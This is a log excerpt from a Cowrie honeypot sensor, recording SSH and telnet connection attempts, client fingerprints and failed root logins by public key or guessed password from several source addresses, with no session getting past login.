{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"fd:58:0e:c8:c6:3c:16:ee:18:3f:ee:1f:b0:9d:f3:66","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIElKTYMKbYXjPCt10eMHGmRkZefl9039SuGrg7sL1VIv","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint fd:58:0e:c8:c6:3c:16:ee:18:3f:ee:1f:b0:9d:f3:66","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:58:19.488709Z","src_ip":"37.27.7.160","session":"46a397c6f8a5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"fd:58:0e:c8:c6:3c:16:ee:18:3f:ee:1f:b0:9d:f3:66","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIElKTYMKbYXjPCt10eMHGmRkZefl9039SuGrg7sL1VIv","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:58:19.492773Z","src_ip":"37.27.7.160","session":"46a397c6f8a5","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"1a:24:65:5b:90:03:af:f5:b0:6b:95:a9:c7:fe:0c:f9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDQ+qOZFSO0yVw4mLarXGSke5BfJWMHhmgKnIIlxSDs1Ct4om41GqBJIHqn8h3gha/eM4et19GFipXz062IcndBb2hcJRPTL4OgSiG5ZrdnWXJtb6otjQv4KkKCmdd2hbr7Prh3pldbnGDqSgjrQbTuIPHaYTKPJn6o4onrjirnivwVGYdNnNCL0QjQIEE6BwrdPa5MwcTsqpqOKOekf+rxtNUzRrXi0EgtTS8fyQc+616rZPqkmcfkRZQPNA+uBxVfaMfZNw6RB3/sCUulVdFijqlS1IBKYTWClBnrRBFX2afOZWFwLslghtrr0qXDz6TT6IfvWyeBNOMfXBRzN7uAXUGNtAxFCKfLW9EwkbIy3rn1uKnwtAAX7dDHiHSmSuf54jyLnEXWxkEk1NgefIjXNGBbOEtLPXgOAPEkSDzGW+ZPc6fI+MDrLSWdrf3ssF1jnWADlcK1mE/pZ6Fw4P0JSf/X8BTv/SY/Y2M7i0ZTuylMqa/bBiVCaeLuLOnSJGE=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 1a:24:65:5b:90:03:af:f5:b0:6b:95:a9:c7:fe:0c:f9","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:58:19.612763Z","src_ip":"37.27.7.160","session":"46a397c6f8a5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"1a:24:65:5b:90:03:af:f5:b0:6b:95:a9:c7:fe:0c:f9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDQ+qOZFSO0yVw4mLarXGSke5BfJWMHhmgKnIIlxSDs1Ct4om41GqBJIHqn8h3gha/eM4et19GFipXz062IcndBb2hcJRPTL4OgSiG5ZrdnWXJtb6otjQv4KkKCmdd2hbr7Prh3pldbnGDqSgjrQbTuIPHaYTKPJn6o4onrjirnivwVGYdNnNCL0QjQIEE6BwrdPa5MwcTsqpqOKOekf+rxtNUzRrXi0EgtTS8fyQc+616rZPqkmcfkRZQPNA+uBxVfaMfZNw6RB3/sCUulVdFijqlS1IBKYTWClBnrRBFX2afOZWFwLslghtrr0qXDz6TT6IfvWyeBNOMfXBRzN7uAXUGNtAxFCKfLW9EwkbIy3rn1uKnwtAAX7dDHiHSmSuf54jyLnEXWxkEk1NgefIjXNGBbOEtLPXgOAPEkSDzGW+ZPc6fI+MDrLSWdrf3ssF1jnWADlcK1mE/pZ6Fw4P0JSf/X8BTv/SY/Y2M7i0ZTuylMqa/bBiVCaeLuLOnSJGE=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:58:19.615581Z","src_ip":"37.27.7.160","session":"46a397c6f8a5","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"73:0f:5b:13:3a:8b:96:e5:f9:b0:c4:a4:e1:0e:31:6b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAuaOHdUcM7iYxwGE1nZTmMm760eQXbfSXXSS6TqiFz4oTVVn+dEFZi4z4ksIYOjUvLtDTYr+DU4dtr2YbhcD8zf9Pp9cnfLRVL/FD19xYW5osJIPwL2m1Nw1VWuCjj0DY/SVUSQx4ErZsY9aVWe27o0KLIzOyhFv4g92VwIhc8Y7QVPwuC7RcKXghzWKD1zOzG5b7rpIt1/rd/jp3dy0EaoFXpkbOBiDkp0tKisqgI/MI29TZLSYmcqVFyxOiV7oUY8EWDGFuFrnvLXAuiPvpcLND86hTe50ubSvf/1sj4hnBHJFoPPZDFXJr8nIy1Zjx76EE6Gbu+MIiouAzYWAkDw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 73:0f:5b:13:3a:8b:96:e5:f9:b0:c4:a4:e1:0e:31:6b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:58:19.727966Z","src_ip":"37.27.7.160","session":"46a397c6f8a5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"73:0f:5b:13:3a:8b:96:e5:f9:b0:c4:a4:e1:0e:31:6b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAuaOHdUcM7iYxwGE1nZTmMm760eQXbfSXXSS6TqiFz4oTVVn+dEFZi4z4ksIYOjUvLtDTYr+DU4dtr2YbhcD8zf9Pp9cnfLRVL/FD19xYW5osJIPwL2m1Nw1VWuCjj0DY/SVUSQx4ErZsY9aVWe27o0KLIzOyhFv4g92VwIhc8Y7QVPwuC7RcKXghzWKD1zOzG5b7rpIt1/rd/jp3dy0EaoFXpkbOBiDkp0tKisqgI/MI29TZLSYmcqVFyxOiV7oUY8EWDGFuFrnvLXAuiPvpcLND86hTe50ubSvf/1sj4hnBHJFoPPZDFXJr8nIy1Zjx76EE6Gbu+MIiouAzYWAkDw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:58:19.731488Z","src_ip":"37.27.7.160","session":"46a397c6f8a5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:58:19.845339Z","src_ip":"37.27.7.160","session":"46a397c6f8a5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.222.183","src_port":45440,"dst_ip":"10.17.0.5","dst_port":22,"session":"873b3be208d6","protocol":"ssh","message":"New connection: 103.15.222.183:45440 (10.17.0.5:22) [session: 873b3be208d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:58:48.950458Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:58:48.954921Z","src_ip":"103.15.222.183","session":"873b3be208d6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:58:49.201316Z","src_ip":"103.15.222.183","session":"873b3be208d6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"2222","message":"login attempt [root/2222] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:58:49.941544Z","src_ip":"103.15.222.183","session":"873b3be208d6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":51.60017919540405,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:58:50.434250Z","src_ip":"192.119.13.58","session":"aaedf678093b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"89.223.69.22","src_port":57064,"dst_ip":"159.203.135.109","dst_port":22,"session":"e47485188113","protocol":"ssh","message":"New connection: 89.223.69.22:57064 (159.203.135.109:22) [session: e47485188113]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:58:50.831652Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:58:50.836325Z","src_ip":"89.223.69.22","session":"e47485188113","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:58:50.949634Z","src_ip":"89.223.69.22","session":"e47485188113","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:58:51.191239Z","src_ip":"103.15.222.183","session":"873b3be208d6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:58:51.291386Z","src_ip":"89.223.69.22","session":"e47485188113","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:58:52.407639Z","src_ip":"89.223.69.22","session":"e47485188113","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":40246,"dst_ip":"10.17.0.5","dst_port":23,"session":"9cc23e8bf058","protocol":"telnet","message":"New connection: 128.199.8.54:40246 (10.17.0.5:23) [session: 9cc23e8bf058]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:58:56.964063Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":42056,"dst_ip":"10.17.0.5","dst_port":23,"session":"32445d709ec7","protocol":"telnet","message":"New connection: 128.199.8.54:42056 (10.17.0.5:23) [session: 32445d709ec7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:59:04.996666Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.79.99.235","src_port":32836,"dst_ip":"10.17.0.5","dst_port":22,"session":"99760c7e4661","protocol":"ssh","message":"New connection: 51.79.99.235:32836 (10.17.0.5:22) [session: 99760c7e4661]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:59:06.723487Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:59:06.728111Z","src_ip":"51.79.99.235","session":"99760c7e4661","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:59:06.748138Z","src_ip":"51.79.99.235","session":"99760c7e4661","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"30:83:af:dd:14:1d:6c:28:f3:99:14:71:fa:25:a8:aa","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAvb/iIq7iU6n9iLALBk14NFGmdAIoFTZUilLY7VAjq63TFc3tCGYW7zrBRe4z3nba2qkfjohLN+ZILd31PS6fEc8ptCWulNFdrR5sJVJC1D1uu4l/aHc0COldOWW0hTDyE0XnQxC1BReZPAtlU4kRd1ZXthmOpUXm/AWH8Rxi6E0JySEaDQN356JauZ0MC4CvzB1d2Cf1Ci4B2bIP8I5X+KUDwMXwNhlBMJkYeceaPZPR9I9wNdqvbZ5gAhEtLVq6ZKklxeq08/3TN0r5U2iKwamNJelGSC06CZBjQdB3nfwg9v4draTvP92Jih1aNM11uNwK3dwYhXxaxuZq2KHygQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 30:83:af:dd:14:1d:6c:28:f3:99:14:71:fa:25:a8:aa","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:59:06.819659Z","src_ip":"51.79.99.235","session":"99760c7e4661","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"30:83:af:dd:14:1d:6c:28:f3:99:14:71:fa:25:a8:aa","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAvb/iIq7iU6n9iLALBk14NFGmdAIoFTZUilLY7VAjq63TFc3tCGYW7zrBRe4z3nba2qkfjohLN+ZILd31PS6fEc8ptCWulNFdrR5sJVJC1D1uu4l/aHc0COldOWW0hTDyE0XnQxC1BReZPAtlU4kRd1ZXthmOpUXm/AWH8Rxi6E0JySEaDQN356JauZ0MC4CvzB1d2Cf1Ci4B2bIP8I5X+KUDwMXwNhlBMJkYeceaPZPR9I9wNdqvbZ5gAhEtLVq6ZKklxeq08/3TN0r5U2iKwamNJelGSC06CZBjQdB3nfwg9v4draTvP92Jih1aNM11uNwK3dwYhXxaxuZq2KHygQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:59:06.823273Z","src_ip":"51.79.99.235","session":"99760c7e4661","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"9d:9c:04:ee:08:16:b0:71:36:a7:05:68:32:dd:e2:90","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCvOxhEwMDIsTgxzhIQPd0JO2+RWqSPsbWU6BVQqxTPb3E0+thRLK49/dQ87zuWajQmx258WAs8bH0Lvnj4rZtzCDww5De9DkfsDQEu8F/J5jv+BW9ZKTgppC03eULZvmp6B18gRsDLrhuZUicZaB1iXLltYbgOTwOOOmcfprA48wObjdTGRJXIAS+pWsQNkF8mk3RSB5w+cD/2boa0wWJYNW0SMkZJk9E+O08Vz7W2ADYLo8Ki54QJ8HtPzI/NxR6Y6EBk7v1oWJuJdVdSiBKlrZ83SEqOxL4bzaRF4Higad0TJI0O17zVvSFcyd3m3N/gEgcNzL33512bbOIagJIPYQP8pyIZYceTE1uApc32svxnz/Jcm2DTHoGi0diojfy/PKbpk56OGISqjxe5a7M6Xuq6dflZgPcac2B85VGMBwBP8+Q+edFXa1lbChKakYF2jbOqwOfeuO0aj6p7gHpeHu06ppgu5/H6KcWIWpag8EtQD9RrhIgOD9zjzqcgPPXa6GyaeZFpW4HdDWBpvNt5YlP/vTzG6vxBV0tTEWTv571dEGXF7giHKyEk58Eu2gPcMQTif0/bIpDqY/CyrX12ie8Po3TyBvuCHR4jqy4hYaOQmaziV6qwjqTXH0myZ+Y1xcdF8YBfn9qM7NtCsLkr5W0/jNXhyBVUVnKCSnpdHQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 9d:9c:04:ee:08:16:b0:71:36:a7:05:68:32:dd:e2:90","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:59:06.843175Z","src_ip":"51.79.99.235","session":"99760c7e4661","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"9d:9c:04:ee:08:16:b0:71:36:a7:05:68:32:dd:e2:90","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCvOxhEwMDIsTgxzhIQPd0JO2+RWqSPsbWU6BVQqxTPb3E0+thRLK49/dQ87zuWajQmx258WAs8bH0Lvnj4rZtzCDww5De9DkfsDQEu8F/J5jv+BW9ZKTgppC03eULZvmp6B18gRsDLrhuZUicZaB1iXLltYbgOTwOOOmcfprA48wObjdTGRJXIAS+pWsQNkF8mk3RSB5w+cD/2boa0wWJYNW0SMkZJk9E+O08Vz7W2ADYLo8Ki54QJ8HtPzI/NxR6Y6EBk7v1oWJuJdVdSiBKlrZ83SEqOxL4bzaRF4Higad0TJI0O17zVvSFcyd3m3N/gEgcNzL33512bbOIagJIPYQP8pyIZYceTE1uApc32svxnz/Jcm2DTHoGi0diojfy/PKbpk56OGISqjxe5a7M6Xuq6dflZgPcac2B85VGMBwBP8+Q+edFXa1lbChKakYF2jbOqwOfeuO0aj6p7gHpeHu06ppgu5/H6KcWIWpag8EtQD9RrhIgOD9zjzqcgPPXa6GyaeZFpW4HdDWBpvNt5YlP/vTzG6vxBV0tTEWTv571dEGXF7giHKyEk58Eu2gPcMQTif0/bIpDqY/CyrX12ie8Po3TyBvuCHR4jqy4hYaOQmaziV6qwjqTXH0myZ+Y1xcdF8YBfn9qM7NtCsLkr5W0/jNXhyBVUVnKCSnpdHQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:59:06.847062Z","src_ip":"51.79.99.235","session":"99760c7e4661","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"4c:67:7b:2c:54:7e:14:c3:9c:5f:4f:35:ac:ed:02:eb","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDoe33g5+nKfyCU6pkPIhGPp1MyQHLyC1b+NFnKf80gVbxCLLigmpn5qIU+V5L4ok2gDrcJfk11mu9//a/fcUhbypWt+RN6SN2Qs4XvtOOv2dsFZLBlBDD7zR7lezXYcXnnCCGIgzQgMDGm8kETcZ/ffAcwGL8EfF6mdphxruUtiDBwj3aXEi5KWUDhfSsO+ncPVOhHzUxV5SNuNz9BzpriMA03L9q1Do5wbw2sPYgaW4t8f/D/mgXE+PvSeARpnMLaK2OT2VtKi5X5pRTE0dzLLteCJt3MwiiGTILm/FzTKnUmgAJp1JqVaF05+8nDgmhpJ33XyJU4lffdK5LWrL+D","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 4c:67:7b:2c:54:7e:14:c3:9c:5f:4f:35:ac:ed:02:eb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:59:06.868083Z","src_ip":"51.79.99.235","session":"99760c7e4661","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"4c:67:7b:2c:54:7e:14:c3:9c:5f:4f:35:ac:ed:02:eb","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDoe33g5+nKfyCU6pkPIhGPp1MyQHLyC1b+NFnKf80gVbxCLLigmpn5qIU+V5L4ok2gDrcJfk11mu9//a/fcUhbypWt+RN6SN2Qs4XvtOOv2dsFZLBlBDD7zR7lezXYcXnnCCGIgzQgMDGm8kETcZ/ffAcwGL8EfF6mdphxruUtiDBwj3aXEi5KWUDhfSsO+ncPVOhHzUxV5SNuNz9BzpriMA03L9q1Do5wbw2sPYgaW4t8f/D/mgXE+PvSeARpnMLaK2OT2VtKi5X5pRTE0dzLLteCJt3MwiiGTILm/FzTKnUmgAJp1JqVaF05+8nDgmhpJ33XyJU4lffdK5LWrL+D","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:59:06.872363Z","src_ip":"51.79.99.235","session":"99760c7e4661","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"3b:12:66:93:84:ec:15:15:4b:b6:9c:e9:c1:3d:ec:1b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAwBZxjUdxxhSpQ9M7BE6hgDA488QXDcJzdIPUQ41AYBFYP7+0MWqTPDirdhUeOgphIaGxWJu/gPjKwYhGldWpuQPgpsrs9PmyS9wYxX/oDBrZxlG9qYVM4klmFsDyphh0HB5K1t8W4JTkfvmk0weyCDat3nIsYmTHbEEVUwkz1S29/LHVOWQMEx4BVLTSpPBCBbItGQyc9aL4DOiU1v5uPcIwggKVdpHamT0BaWXxkcsWQWualxVUUCLwhM0iog59uvdfTZXE/JvRVS54jXJiCQmUd/kOHh1TSShxBHJ4PPdvE+R5PK4DtPaA1DipTbmYX7xMmtDIr7W1c89pTtzYxw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 3b:12:66:93:84:ec:15:15:4b:b6:9c:e9:c1:3d:ec:1b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:59:06.891960Z","src_ip":"51.79.99.235","session":"99760c7e4661","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"3b:12:66:93:84:ec:15:15:4b:b6:9c:e9:c1:3d:ec:1b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAwBZxjUdxxhSpQ9M7BE6hgDA488QXDcJzdIPUQ41AYBFYP7+0MWqTPDirdhUeOgphIaGxWJu/gPjKwYhGldWpuQPgpsrs9PmyS9wYxX/oDBrZxlG9qYVM4klmFsDyphh0HB5K1t8W4JTkfvmk0weyCDat3nIsYmTHbEEVUwkz1S29/LHVOWQMEx4BVLTSpPBCBbItGQyc9aL4DOiU1v5uPcIwggKVdpHamT0BaWXxkcsWQWualxVUUCLwhM0iog59uvdfTZXE/JvRVS54jXJiCQmUd/kOHh1TSShxBHJ4PPdvE+R5PK4DtPaA1DipTbmYX7xMmtDIr7W1c89pTtzYxw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:59:06.895641Z","src_ip":"51.79.99.235","session":"99760c7e4661","protocol":"ssh"}
